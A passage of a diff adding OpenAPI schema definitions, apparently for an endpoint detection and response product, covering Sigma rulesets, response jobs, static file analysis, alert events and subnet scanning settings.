+        readOnly: true
+        title: Rule level overridden
+        type: boolean
+      rule_level_override:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule level override
+        type: string
+        x-nullable: true
+      rule_modified_date:
+        format: date
+        readOnly: true
+        title: Rule modified date
+        type: string
+        x-nullable: true
+      rule_name:
+        minLength: 1
+        readOnly: true
+        title: Rule name
+        type: string
+        x-nullable: true
+      rule_os:
+        enum:
+          - linux
+          - macos
+          - unknown
+          - windows
+        readOnly: true
+        title: Rule os
+        type: string
+      rule_status:
+        minLength: 1
+        readOnly: true
+        title: Rule status
+        type: string
+        x-nullable: true
+      rule_tactic_tags:
+        items:
+          maxLength: 256
+          minLength: 1
+          title: Rule tactic tags
+          type: string
+        readOnly: true
+        type: array
+      rule_technique_tags:
+        items:
+          maxLength: 256
+          minLength: 1
+          title: Rule technique tags
+          type: string
+        readOnly: true
+        type: array
+      rule_type:
+        readOnly: true
+        title: Rule type
+        type: string
+      ruleset_rule:
+        $ref: '#/definitions/RulesetRuleSerializer'
+      ruleset_rule_default:
+        readOnly: true
+        title: Ruleset rule default
+        type: boolean
+      source:
+        readOnly: true
+        title: Source
+        type: string
+      source_id:
+        minLength: 1
+        readOnly: true
+        title: Source id
+        type: string
+      state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - default
+          - disabled
+          - quarantine
+        readOnly: true
+        title: State
+        type: string
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+      warnings:
+        minLength: 1
+        readOnly: true
+        title: Warnings
+        type: string
+        x-nullable: true
+      whitelist_count:
+        readOnly: true
+        title: Whitelist count
+        type: integer
+    type: object
+  SigmaRulesetSource:
+    properties:
+      alert_rule_count:
+        default: 0
+        readOnly: true
+        title: Alert rule count
+        type: integer
+      block_on_agent:
+        title: Block on agent
+        type: boolean
+      block_rule_count:
+        default: 0
+        readOnly: true
+        title: Block rule count
+        type: integer
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      default_rule_count:
+        minimum: 0
+        readOnly: true
+        title: Default rule count
+        type: integer
+      description:
+        title: Description
+        type: string
+      disabled_rule_count:
+        default: 0
+        readOnly: true
+        title: Disabled rule count
+        type: integer
+      effective_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        readOnly: true
+        title: Effective state
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        title: Endpoint detection
+        type: boolean
+      global_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        title: Global state
+        type: string
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 100
+        minLength: 1
+        title: Name
+        type: string
+      new_rule_state:
+        default: default
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - default
+          - disabled
+          - quarantine
+        title: New rule state
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      origin_stack_id:
+        minLength: 1
+        readOnly: true
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      quarantine_on_agent:
+        title: Quarantine on agent
+        type: boolean
+      quarantine_rule_count:
+        default: 0
+        readOnly: true
+        title: Quarantine rule count
+        type: integer
+      rule_confidence_default:
+        enum:
+          - moderate
+          - strong
+          - weak
+        title: Rule confidence default
+        type: string
+      rule_count:
+        default: 0
+        readOnly: true
+        title: Rule count
+        type: integer
+      rule_disabled_count:
+        default: 0
+        readOnly: true
+        title: Rule disabled count
+        type: integer
+      rule_enabled_count:
+        default: 0
+        readOnly: true
+        title: Rule enabled count
+        type: integer
+      rule_experimental_count:
+        default: 0
+        readOnly: true
+        title: Rule experimental count
+        type: integer
+      rule_level_default:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Rule level default
+        type: string
+      rule_stable_count:
+        default: 0
+        readOnly: true
+        title: Rule stable count
+        type: integer
+      rule_testing_count:
+        default: 0
+        readOnly: true
+        title: Rule testing count
+        type: integer
+      ruleset_source:
+        $ref: '#/definitions/RulesetSourceSerializer'
+      ruleset_source_rule_default:
+        $ref: '#/definitions/RulesetSourceRuleDefaultSerializer'
+      state:
+        default: default
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - default
+          - disabled
+          - force_inherit
+          - quarantine
+        title: State
+        type: string
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+    required:
+      - name
+    type: object
+  SigmaSource:
+    properties:
+      block_on_agent:
+        title: Block on agent
+        type: boolean
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      description:
+        title: Description
+        type: string
+      effective_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        readOnly: true
+        title: Effective state
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        title: Endpoint detection
+        type: boolean
+      global_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        title: Global state
+        type: string
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 100
+        minLength: 1
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      origin_stack_id:
+        minLength: 1
+        readOnly: true
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      quarantine_on_agent:
+        title: Quarantine on agent
+        type: boolean
+      rule_confidence_default:
+        enum:
+          - moderate
+          - strong
+          - weak
+        title: Rule confidence default
+        type: string
+      rule_count:
+        default: 0
+        readOnly: true
+        title: Rule count
+        type: integer
+      rule_disabled_count:
+        default: 0
+        readOnly: true
+        title: Rule disabled count
+        type: integer
+      rule_enabled_count:
+        default: 0
+        readOnly: true
+        title: Rule enabled count
+        type: integer
+      rule_experimental_count:
+        default: 0
+        readOnly: true
+        title: Rule experimental count
+        type: integer
+      rule_level_default:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Rule level default
+        type: string
+      rule_stable_count:
+        default: 0
+        readOnly: true
+        title: Rule stable count
+        type: integer
+      rule_testing_count:
+        default: 0
+        readOnly: true
+        title: Rule testing count
+        type: integer
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+    required:
+      - name
+    type: object
+  SignatureInfo:
+    properties:
+      root_info:
+        $ref: '#/definitions/Info'
+      signed_authenticode:
+        title: Signed authenticode
+        type: boolean
+      signed_catalog:
+        title: Signed catalog
+        type: boolean
+      signer_info:
+        $ref: '#/definitions/Info'
+    required:
+      - root_info
+      - signed_authenticode
+      - signed_catalog
+      - signer_info
+    type: object
+  Simple:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      date:
+        format: date-time
+        title: Date
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      msg:
+        minLength: 1
+        title: Msg
+        type: string
+      simple_type:
+        minLength: 1
+        title: Simple type
+        type: string
+      success:
+        title: Success
+        type: boolean
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - date
+      - id
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - msg
+      - simple_type
+      - success
+      - tenant
+    type: object
+  SimpleAgent:
+    properties:
+      hostname:
+        minLength: 1
+        readOnly: true
+        title: Hostname
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+    type: object
+  SimpleBatchRetrieve:
+    properties:
+      agent_count:
+        minimum: 0
+        title: Agent count
+        type: integer
+      archived:
+        title: Archived
+        type: boolean
+      creationtime:
+        format: date-time
+        title: Creationtime
+        type: string
+      creator:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      jobs:
+        items:
+          enum:
+            - IOCScan
+            - agentDiagnostic
+            - agentMinidump
+            - avScan
+            - collectRAWEvidences
+            - deleteScheduledTask
+            - deleteService
+            - downloadDirectory
+            - downloadFile
+            - filepathDeleter
+            - getHives
+            - getLoadedDriverList
+            - getNetworkShare
+            - getPipeList
+            - getPrefetch
+            - getProcessList
+            - getQFE
+            - getRawWMI
+            - getScheduledTasks
+            - getSessions
+            - getStartupFileList
+            - getWMI
+            - knownProcessFinderKiller
+            - listDirectory
+            - memoryDumper
+            - networkDiscovery
+            - networkSniffer
+            - parseFilesystem
+            - persistanceScanner
+            - processDumper
+            - profileMemory
+            - quarantineAcquireFile
+            - quarantineAdd
+            - quarantineDelete
+            - quarantineRestore
+            - registryOperation
+            - searchProcessDumper
+            - wildcardProcessFinderKiller
+            - yaraScan
+          type: string
+        type: array
+      source_id:
+        minLength: 1
+        title: Source id
+        type: string
+        x-nullable: true
+      source_type:
+        enum:
+          - agent
+          - alert
+          - batch_duplicated
+          - endpoint_agent
+          - endpoint_user
+          - group
+          - investigation
+          - remote_shell
+          - security_event
+          - threat
+        title: Source type
+        type: string
+        x-nullable: true
+      template:
+        title: Template
+        type: string
+        x-nullable: true
+      title:
+        title: Title
+        type: string
+        x-nullable: true
+    required:
+      - agent_count
+      - creator
+      - jobs
+    type: object
+  SimpleCorrelationRuleAndSourceSerializer:
+    properties:
+      correlation_rule_id:
+        format: uuid
+        title: Correlation rule id
+        type: string
+      correlation_rule_name:
+        minLength: 1
+        title: Correlation rule name
+        type: string
+      correlation_source_id:
+        format: uuid
+        title: Correlation source id
+        type: string
+      correlation_source_name:
+        minLength: 1
+        title: Correlation source name
+        type: string
+    required:
+      - correlation_rule_id
+      - correlation_rule_name
+      - correlation_source_id
+      - correlation_source_name
+    type: object
+  SimpleJob:
+    properties:
+      archived:
+        title: Archived
+        type: boolean
+      creationtime:
+        format: date-time
+        title: Creationtime
+        type: string
+      creator:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      endpoint_username:
+        maxLength: 4096
+        minLength: 1
+        title: Endpoint username
+        type: string
+        x-nullable: true
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      is_scheduled:
+        title: Is scheduled
+        type: boolean
+      remote_shell_session:
+        format: uuid
+        title: Remote shell session
+        type: string
+        x-nullable: true
+      source_id:
+        minLength: 1
+        title: Source id
+        type: string
+        x-nullable: true
+      source_type:
+        enum:
+          - agent
+          - alert
+          - batch_duplicated
+          - endpoint_agent
+          - endpoint_user
+          - group
+          - investigation
+          - remote_shell
+          - security_event
+          - threat
+        title: Source type
+        type: string
+        x-nullable: true
+      template:
+        title: Template
+        type: string
+        x-nullable: true
+      title:
+        title: Title
+        type: string
+        x-nullable: true
+      version:
+        enum:
+          - 1
+          - 2
+        title: Version
+        type: integer
+    type: object
+  SimpleSigmaRuleAndSourceSerializer:
+    properties:
+      sigma_rule_id:
+        format: uuid
+        title: Sigma rule id
+        type: string
+      sigma_rule_name:
+        minLength: 1
+        title: Sigma rule name
+        type: string
+      sigma_source_id:
+        format: uuid
+        title: Sigma source id
+        type: string
+      sigma_source_name:
+        minLength: 1
+        title: Sigma source name
+        type: string
+    required:
+      - sigma_rule_id
+      - sigma_rule_name
+      - sigma_source_id
+      - sigma_source_name
+    type: object
+  SimpleSubnet:
+    properties:
+      gateway_ipaddress:
+        minLength: 1
+        readOnly: true
+        title: Gateway ipaddress
+        type: string
+        x-nullable: true
+      gateway_macaddress:
+        minLength: 1
+        readOnly: true
+        title: Gateway macaddress
+        type: string
+        x-nullable: true
+      gateway_oui:
+        minLength: 1
+        readOnly: true
+        title: Gateway oui
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      name:
+        minLength: 1
+        readOnly: true
+        title: Name
+        type: string
+        x-nullable: true
+    type: object
+  SimpleTenant:
+    properties:
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+        x-nullable: true
+    type: object
+  SimpleWindowsGroup:
+    properties:
+      domain:
+        minLength: 1
+        readOnly: true
+        title: Domain
+        type: string
+        x-nullable: true
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      kind:
+        enum:
+          - domain_local_group
+          - global_group
+          - local_group
+          - well_known_group
+        readOnly: true
+        title: Kind
+        type: string
+      name:
+        minLength: 1
+        readOnly: true
+        title: Name
+        type: string
+      sid:
+        minLength: 1
+        readOnly: true
+        title: Sid
+        type: string
+        x-nullable: true
+    type: object
+  SingleUpdateFIMFileModification:
+    properties:
+      id:
+        format: uuid
+        title: Id
+        type: string
+      status:
+        enum:
+          - accepted
+          - not reviewed
+          - rejected
+        title: Status
+        type: string
+    required:
+      - id
+      - status
+    type: object
+  Startup:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      binaryinfo:
+        $ref: '#/definitions/BinaryInfoWithPath'
+      filename:
+        minLength: 1
+        title: Filename
+        type: string
+      fullpathname:
+        minLength: 1
+        title: Fullpathname
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      mainfile_binaryinfo:
+        $ref: '#/definitions/BinaryInfoWithPath'
+      target_arguments:
+        minLength: 1
+        title: Target arguments
+        type: string
+      target_path:
+        minLength: 1
+        title: Target path
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      username:
+        minLength: 1
+        title: Username
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - binaryinfo
+      - filename
+      - fullpathname
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - mainfile_binaryinfo
+      - target_arguments
+      - target_path
+      - tenant
+      - username
+    type: object
+  Stat:
+    properties:
+      agent:
+        items:
+          $ref: '#/definitions/StatAgent'
+        type: array
+      alert_type:
+        $ref: '#/definitions/AlertType'
+      at_risk:
+        default: 0
+        title: At risk
+        type: integer
+      closed:
+        default: 0
+        title: Closed
+        type: integer
+      closed_percent:
+        default: 0
+        title: Closed percent
+        type: integer
+      cyber_kill_chain:
+        $ref: '#/definitions/CyberKillChain'
+      investigating:
+        default: 0
+        title: Investigating
+        type: integer
+      investigating_percent:
+        default: 0
+        title: Investigating percent
+        type: integer
+      level:
+        $ref: '#/definitions/Level'
+      new:
+        default: 0
+        title: New
+        type: integer
+      new_percent:
+        default: 0
+        title: New percent
+        type: integer
+      prevented:
+        default: 0
+        title: Prevented
+        type: integer
+      prevented_percent:
+        default: 0
+        title: Prevented percent
+        type: integer
+      rule:
+        items:
+          $ref: '#/definitions/Rule'
+        type: array
+      total:
+        default: 0
+        title: Total
+        type: integer
+    required:
+      - agent
+      - alert_type
+      - cyber_kill_chain
+      - level
+      - rule
+    type: object
+  StatAgent:
+    properties:
+      count:
+        default: 0
+        title: Count
+        type: integer
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+    required:
+      - id
+      - name
+    type: object
+  StaticAnalysis:
+    properties:
+      analysis_date:
+        format: date-time
+        title: Analysis date
+        type: string
+      capabilities:
+        items:
+          $ref: '#/definitions/Capability'
+        type: array
+      capabilities_count:
+        title: Capabilities count
+        type: integer
+      cobalt_conf:
+        $ref: '#/definitions/CobaltConf'
+      elf_report:
+        $ref: '#/definitions/ElfReport'
+      exports_count:
+        title: Exports count
+        type: integer
+      extracted:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      file_availability:
+        enum:
+          - 0
+          - 1
+          - 2
+          - 3
+          - 4
+          - 5
+          - 6
+          - 7
+          - 8
+          - 9
+          - 255
+        readOnly: true
+        title: File availability
+        type: integer
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      imports:
+        items:
+          $ref: '#/definitions/Import'
+        type: array
+      imports_count:
+        title: Imports count
+        type: integer
+      kinds:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      lnk_report:
+        $ref: '#/definitions/LnkReport'
+      macho_report:
+        $ref: '#/definitions/MachoReport'
+      magic:
+        minLength: 1
+        title: Magic
+        type: string
+      pe_report:
+        $ref: '#/definitions/PeReport'
+      sha256:
+        minLength: 1
+        title: Sha256
+        type: string
+      size:
+        title: Size
+        type: integer
+      special_strings:
+        items:
+          $ref: '#/definitions/ExtractedSpecialCategory'
+        type: array
+      special_strings_count:
+        title: Special strings count
+        type: integer
+      status:
+        enum:
+          - 0
+          - 1
+          - 2
+          - 3
+          - 4
+          - 5
+          - 6
+          - 7
+          - 8
+          - 9
+          - 255
+        readOnly: true
+        title: Status
+        type: integer
+      strings_count:
+        title: Strings count
+        type: integer
+      tags:
+        items:
+          $ref: '#/definitions/StaticAnalysisTag'
+        type: array
+      tlsh:
+        minLength: 1
+        title: Tlsh
+        type: string
+    required:
+      - analysis_date
+      - capabilities
+      - capabilities_count
+      - cobalt_conf
+      - elf_report
+      - exports_count
+      - extracted
+      - id
+      - imports
+      - imports_count
+      - kinds
+      - lnk_report
+      - macho_report
+      - magic
+      - pe_report
+      - sha256
+      - size
+      - special_strings
+      - special_strings_count
+      - strings_count
+      - tags
+      - tlsh
+    type: object
+  StaticAnalysisTag:
+    properties:
+      level:
+        title: Level
+        type: integer
+      name:
+        minLength: 1
+        title: Name
+        type: string
+    required:
+      - level
+      - name
+    type: object
+  StatusJobInstance:
+    properties:
+      action:
+        minLength: 1
+        readOnly: true
+        title: Action
+        type: string
+      endtime:
+        format: date-time
+        readOnly: true
+        title: Endtime
+        type: string
+        x-nullable: true
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      job_id:
+        readOnly: true
+        title: Job id
+        type: string
+      starttime:
+        format: date-time
+        readOnly: true
+        title: Starttime
+        type: string
+        x-nullable: true
+      state:
+        enum:
+          - 0
+          - 1
+          - 2
+          - 3
+          - 4
+          - 5
+          - 6
+          - 7
+          - 8
+        readOnly: true
+        title: State
+        type: integer
+    type: object
+  SubEvent:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/IndexedInnerAgent'
+      alert_subtype:
+        minLength: 1
+        title: Alert subtype
+        type: string
+      alert_time:
+        format: date-time
+        title: Alert time
+        type: string
+      alert_type:
+        enum:
+          - cape
+          - correlation
+          - device_control
+          - driver
+          - glimps
+          - hlai
+          - hlaiscripts
+          - hurukaiav
+          - ioc
+          - kernelguard
+          - orion
+          - ransom
+          - selfprotection
+          - sidewatch
+          - sigma
+          - vt
+          - yara
+        title: Alert type
+        type: string
+      alert_unique_id:
+        minLength: 1
+        title: Alert unique id
+        type: string
+      av_detection_details:
+        $ref: '#/definitions/AntivirusDetectionDetails'
+      bpf:
+        $ref: '#/definitions/ECSBpf'
+      byovd_detection_details:
+        $ref: '#/definitions/ByovdDetectionDetails'
+      comm_port_tamper:
+        $ref: '#/definitions/CommPortTamper'
+      confidence:
+        minLength: 1
+        title: Confidence
+        type: string
+      confidence_int:
+        title: Confidence int
+        type: integer
+      correlation:
+        $ref: '#/definitions/CorrelationInfo'
+      correlation_event_id:
+        minLength: 1
+        title: Correlation event id
+        type: string
+      correlation_rule_id:
+        minLength: 1
+        title: Correlation rule id
+        type: string
+      destination:
+        $ref: '#/definitions/ECSDestination'
+      details_amsi_scan:
+        $ref: '#/definitions/DetailAmsiScan'
+      details_connection:
+        $ref: '#/definitions/DetailConnection'
+      details_dns_resolution:
+        $ref: '#/definitions/DetailDnsResolution'
+      details_file:
+        $ref: '#/definitions/DetailFile'
+      details_library:
+        $ref: '#/definitions/DetailLibrary'
+      details_linux_filesystem_event:
+        $ref: '#/definitions/DetailLinuxFilesystemEvent'
+      details_macos_filesystem_event:
+        $ref: '#/definitions/DetailMacosFilesystemEvent'
+      details_named_pipe_connected:
+        $ref: '#/definitions/DetailNamedPipeConnected'
+      details_named_pipe_created:
+        $ref: '#/definitions/DetailNamedPipeCreated'
+      details_network_listen:
+        $ref: '#/definitions/DetailNetworkListen'
+      details_powershell:
+        $ref: '#/definitions/DetailPowershell'
+      details_primary_token_change:
+        $ref: '#/definitions/DetailPrimaryTokenChange'
+      details_process_access:
+        $ref: '#/definitions/DetailProcessAccess'
+      details_process_tamper:
+        $ref: '#/definitions/DetailProcessTamper'
+      details_raw_device_access:
+        $ref: '#/definitions/DetailRawDeviceAccess'
+      details_raw_socket_creation:
+        $ref: '#/definitions/DetailRawSocketCreation'
+      details_registry:
+        $ref: '#/definitions/DetailRegistry'
+      details_remotethread:
+        $ref: '#/definitions/DetailRemoteThread'
+      details_url_request:
+        $ref: '#/definitions/DetailUrlRequest'
+      details_usb_device_event:
+        $ref: '#/definitions/DetailsUsbDeviceEvent'
+      details_windows_filesystem_event:
+        $ref: '#/definitions/DetailWindowsFilesystemEvent'
+      detection_date:
+        format: date-time
+        title: Detection date
+        type: string
+      detection_origin:
+        minLength: 1
+        title: Detection origin
+        type: string
+      detection_timestamp:
+        format: date-time
+        title: Detection timestamp
+        type: string
+      driverload:
+        $ref: '#/definitions/InnerDriverLoad'
+      dse_tamper:
+        $ref: '#/definitions/DseTamper'
+      etw_ti_ke_insert_queue_apc:
+        $ref: '#/definitions/ECSEtwTiKeInsertQueueApc'
+      etw_ti_nt_allocate_virtual_memory:
+        $ref: '#/definitions/ECSEtwTiNtAllocateVirtualMemory'
+      etw_ti_nt_map_view_of_section:
+        $ref: '#/definitions/ECSEtwTiNtMapViewOfSection'
+      etw_ti_nt_protect_virtual_memory:
+        $ref: '#/definitions/ECSEtwTiNtProtectVirtualMemory'
+      etw_ti_nt_read_virtual_memory:
+        $ref: '#/definitions/ECSEtwTiNtReadWriteVirtualMemory'
+      etw_ti_nt_set_context_thread:
+        $ref: '#/definitions/ECSEtwTiNtSetContextThread'
+      etw_ti_nt_write_virtual_memory:
+        $ref: '#/definitions/ECSEtwTiNtReadWriteVirtualMemory'
+      event:
+        $ref: '#/definitions/ECSEvent'
+      event_session:
+        $ref: '#/definitions/SessionInfo'
+      eventlog:
+        $ref: '#/definitions/InnerEventLog'
+      firewall_self_protection:
+        $ref: '#/definitions/FirewallSelfProtection'
+      group_event:
+        $ref: '#/definitions/InnerGroupEvent'
+      hlai_binaries_benchmark_data:
+        $ref: '#/definitions/HlaiBinariesBenchmarkData'
+      hlai_scripts_benchmark_data:
+        $ref: '#/definitions/HlaiScriptsBenchmarkData'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      ingestion_date:
+        format: date-time
+        title: Ingestion date
+        type: string
+      is_standalone_rule:
+        title: Is standalone rule
+        type: boolean
+      kernel_callback:
+        $ref: '#/definitions/KernelCallback'
+      level:
+        minLength: 1
+        title: Level
+        type: string
+      level_int:
+        title: Level int
+        type: integer
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      mitre_cells:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      msg:
+        minLength: 1
+        title: Msg
+        type: string
+      network:
+        $ref: '#/definitions/InnerNetwork'
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      process:
+        $ref: '#/definitions/InnerProcess'
+      process_duplicate_handle:
+        $ref: '#/definitions/ECSProcessDuplicateHandle'
+      process_ptrace:
+        $ref: '#/definitions/ECSProcessPtrace'
+      process_session:
+        $ref: '#/definitions/SessionInfo'
+      ransomguard_canary_data:
+        $ref: '#/definitions/RansomguardCanaryData'
+      ransomguard_detection_type:
+        minLength: 1
+        title: Ransomguard detection type
+        type: string
+      ransomguard_heuristic_data:
+        $ref: '#/definitions/RansomguardHeuristicData'
+      references:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      rule_content:
+        minLength: 1
+        title: Rule content
+        type: string
+      rule_id:
+        minLength: 1
+        title: Rule id
+        type: string
+      rule_name:
+        minLength: 1
+        title: Rule name
+        type: string
+      scheduled_task:
+        $ref: '#/definitions/ECSScheduledTask'
+      sidewatch_detection_details:
+        $ref: '#/definitions/SidewatchDetectionDetails'
+      source:
+        $ref: '#/definitions/ECSSource'
+      stack_trace:
+        $ref: '#/definitions/ECSStackTrace'
+      tags:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      target:
+        $ref: '#/definitions/ECSTarget'
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      thread:
+        $ref: '#/definitions/InnerInjectedThread'
+      user:
+        $ref: '#/definitions/ECSUser'
+      user_event:
+        $ref: '#/definitions/InnerUserEvent'
+      win32k_get_async_key_state:
+        $ref: '#/definitions/ECSWin32kGetAsyncKeyState'
+      win32k_register_raw_input_devices:
+        $ref: '#/definitions/ECSWin32kRegisterRawInputDevices'
+      win32k_set_windows_hook_ex:
+        $ref: '#/definitions/ECSWin32kSetWindowsHookEx'
+      windows_service:
+        $ref: '#/definitions/ECSWindowsService'
+      wmi_event:
+        $ref: '#/definitions/WmiEvent'
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - alert_subtype
+      - alert_time
+      - alert_type
+      - alert_unique_id
+      - bpf
+      - confidence
+      - confidence_int
+      - correlation_event_id
+      - correlation_rule_id
+      - destination
+      - detection_date
+      - detection_origin
+      - detection_timestamp
+      - etw_ti_ke_insert_queue_apc
+      - etw_ti_nt_allocate_virtual_memory
+      - etw_ti_nt_map_view_of_section
+      - etw_ti_nt_protect_virtual_memory
+      - etw_ti_nt_read_virtual_memory
+      - etw_ti_nt_set_context_thread
+      - etw_ti_nt_write_virtual_memory
+      - event
+      - group_event
+      - id
+      - ingestion_date
+      - is_standalone_rule
+      - level
+      - level_int
+      - log_type
+      - mitre_cells
+      - msg
+      - process_duplicate_handle
+      - process_ptrace
+      - ransomguard_detection_type
+      - references
+      - rule_content
+      - rule_id
+      - rule_name
+      - scheduled_task
+      - source
+      - stack_trace
+      - tags
+      - target
+      - tenant
+      - user
+      - user_event
+      - win32k_get_async_key_state
+      - win32k_register_raw_input_devices
+      - win32k_set_windows_hook_ex
+      - windows_service
+    type: object
+  SubPolicyCodeDetailsResponse:
+    properties:
+      code:
+        default: unknown_error
+        enum:
+          - default_policy_protection
+          - endpoint_policy_not_found
+          - multiple_policy_deleted
+          - no_policy_deleted
+          - not_owned_policy
+          - policy_in_use
+          - policy_update_failed
+          - policy_with_same_name_exists
+          - unknown_error
+        title: Code
+        type: string
+      details:
+        minLength: 1
+        title: Details
+        type: string
+    required:
+      - details
+    type: object
+  SubPolicyCopyResponse:
+    properties:
+      details:
+        minLength: 1
+        title: Details
+        type: string
+      new_description:
+        minLength: 1
+        title: New description
+        type: string
+      new_id:
+        minLength: 1
+        title: New id
+        type: string
+      new_name:
+        minLength: 1
+        title: New name
+        type: string
+    required:
+      - details
+      - new_description
+      - new_id
+      - new_name
+    type: object
+  SubnetAgg:
+    properties:
+      gateway_ipaddress:
+        minLength: 1
+        title: Gateway ipaddress
+        type: string
+      gateway_macaddress:
+        minLength: 1
+        title: Gateway macaddress
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      observation_count:
+        title: Observation count
+        type: integer
+    required:
+      - id
+      - observation_count
+    type: object
+  SubnetBulkAction:
+    properties:
+      action:
+        enum:
+          - disable_autoscan
+          - disable_blacklist
+          - disable_whitelist
+          - enable_autoscan
+          - enable_blacklist
+          - enable_whitelist
+          - launch_scan
+        title: Action
+        type: string
+      ids:
+        items:
+          format: uuid
+          type: string
+        type: array
+    required:
+      - action
+      - ids
+    type: object
+  SubnetBulkActionResponse:
+    properties:
+      status:
+        enum:
+          - invalid_action
+          - no_agents_available
+          - success
+          - unknown_error
+        title: Status
+        type: string
+      unscannable_subnets:
+        items:
+          $ref: '#/definitions/__SubnetSerializer'
+        readOnly: true
+        type: array
+    required:
+      - status
+    type: object
+  SubnetExclusion:
+    properties:
+      cidr:
+        minLength: 1
+        title: Cidr
+        type: string
+        x-nullable: true
+      comment:
+        title: Comment
+        type: string
+        x-nullable: true
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      enabled:
+        title: Enabled
+        type: boolean
+      id:
+        format: uuid
+        title: Id
+        type: string
+      ip_address:
+        minLength: 1
+        title: Ip address
+        type: string
+        x-nullable: true
+      ip_range:
+        readOnly: true
+        title: Ip range
+        type: string
+      ip_range_end:
+        minLength: 1
+        title: Ip range end
+        type: string
+        x-nullable: true
+      mac_addresses:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      reason:
+        title: Reason
+        type: string
+        x-nullable: true
+      vendor_codes:
+        items:
+          minLength: 1
+          type: string
+        type: array
+    type: object
+  SubnetInclusion:
+    properties:
+      cidr:
+        minLength: 1
+        title: Cidr
+        type: string
+        x-nullable: true
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      enabled:
+        title: Enabled
+        type: boolean
+      id:
+        format: uuid
+        title: Id
+        type: string
+      ip_address:
+        minLength: 1
+        title: Ip address
+        type: string
+        x-nullable: true
+      ip_range:
+        readOnly: true
